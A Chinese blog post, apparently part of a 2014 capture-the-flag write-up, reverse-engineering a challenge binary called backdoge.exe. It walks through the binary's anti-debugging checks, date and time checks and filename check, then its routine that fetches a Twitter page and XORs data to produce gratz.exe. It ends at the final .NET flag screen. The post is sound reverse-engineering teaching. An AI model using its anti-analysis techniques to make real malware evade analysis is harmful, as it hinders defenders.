接着来到第二个点,它会调用sub_1301000进行与上述过程相同的处理,如下图所示。

 

 

通过分析,我们发现,这些反调试点的处理步骤都是一样的,我们继续分析反调试点之后的函数。如下图所示。

 

首先在,0x1301B36处,它调用了sub_1301460处的函数,即CheckWeek,在这个函数里,它取了当前时间的星期,并与周五比较,如下图所示。进一步的处理过程同上一样,不再分析。

 

接下来是调用了backdoge函数,在这之前,它将[esi]赋值个eax,也即像函数中传入了argv[0],而argv[0]指向的都是当前程序的全路径,进入函数我们看到argv[0]与“backdoge.exe”进行了比较,然后进行同上类似的处理,如下图所示。

 

而在another_thread1函数中的处理过程,处理方式也类似,不再分析。

接下来调用了CheckHour,这里它同CheckWeek一样都是时间检查的,只不过这里检查的是当前的小时,如下图所示。

 

在这之后,程序调用了argv[0]进行异或操作,我们都知道对于argv[0]来说,如果文件放在不同的位置,argv[0]的路径名也是不一样的,而这样对异或操作的结果也是不一样的,而在这之前,我们调用了backdoge函数,来校验argv[0]是否是backdoge.exe,由此,我们可以推测,可能该处的值应该为backdoge,因此,我们在调用backdoge之前,修改argv[0]的值为backdoge.exe,进一步分析。

 

下面来到0x1301B83处,我们进一步分析程序,如下图所示。

 

此时,会调用anther_thread2,同another_thread1一样,对程序逻辑没什么影响,不再详述。我们继续分析OpenUrl,在函数的开始,它首先会调用InternetOpenW进行初始化,如下图所示。

 

接着,会调用InternetOpenUrlW来打开一个链接,如下图所示。

 

链接的地址是https://twitter.com/FireEye/status/484033515538116608,如下图所示。

 

在打开链接后它会从网页中,检索字符串“Secluded Hi”,然后用该字符串后的7个字节与gratz_data前一个字节开始的位置处,进行异或运算,如下图所示。

 

最后将argv[1]的前两个字节替换gratz_data头两个字节,argv[2]的前两个字节替换gratz_data偏移0x80处的两个字节,最后生成gratz.exe文件。下图是gratz.exe运行后的截图。

 

果然同我们猜想的一样,是一个祝贺的界面~~,这个程序是.NET写的,最终同第一题一样,反汇编.NET即可得到最终的flag,这里就不再赘述了。

 

总算完成了~~~好辛苦~~~~

posted @ 2014-08-01 22:48  wal613  阅读(741)  评论(0编辑  收藏  举报